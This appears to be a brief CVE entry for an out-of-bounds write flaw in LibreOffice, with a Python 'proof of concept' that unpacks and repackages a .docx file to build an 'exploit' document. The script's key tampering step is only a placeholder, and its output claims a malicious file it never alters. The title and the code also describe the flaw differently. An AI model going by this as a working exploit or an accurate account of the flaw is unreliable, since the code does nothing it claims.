CVE-2026-4430 LibreOffice越界写入漏洞

# Proof of Concept concept for CVE-2026-4430 # This script demonstrates how to modify an OOXML document to trigger the salt mismatch. import zipfile import shutil import os def create_malicious_ooxml(original_docx, output_docx): # Unzip the docx (which is a zip file) with zipfile.ZipFile(original_docx, 'r') as z: z.extractall('temp_docx') # Modify the encryption settings in [Content_Types].xml or a custom part # In a real exploit, specific XML parts related to encryption are altered # to contain mismatched salt values. # This is a placeholder for the specific XML manipulation logic. # Example: Simulating a mismatched salt parameter in a hypothetical configuration xml_path = os.path.join('temp_docx', 'docProps', 'app.xml') # (Actual PoC would target encryption specific parts like 'EncryptedPackage' or 'EncryptionInfo') # Repackage the docx with zipfile.ZipFile(output_docx, 'w') as z: for folder, subfolders, files in os.walk('temp_docx'): for file in files: file_path = os.path.join(folder, file) arcname = os.path.relpath(file_path, 'temp_docx') z.write(file_path, arcname) # Cleanup shutil.rmtree('temp_docx') print(f"Malicious document generated: {output_docx}") # Usage: # create_malicious_ooxml('normal.docx', 'exploit.docx')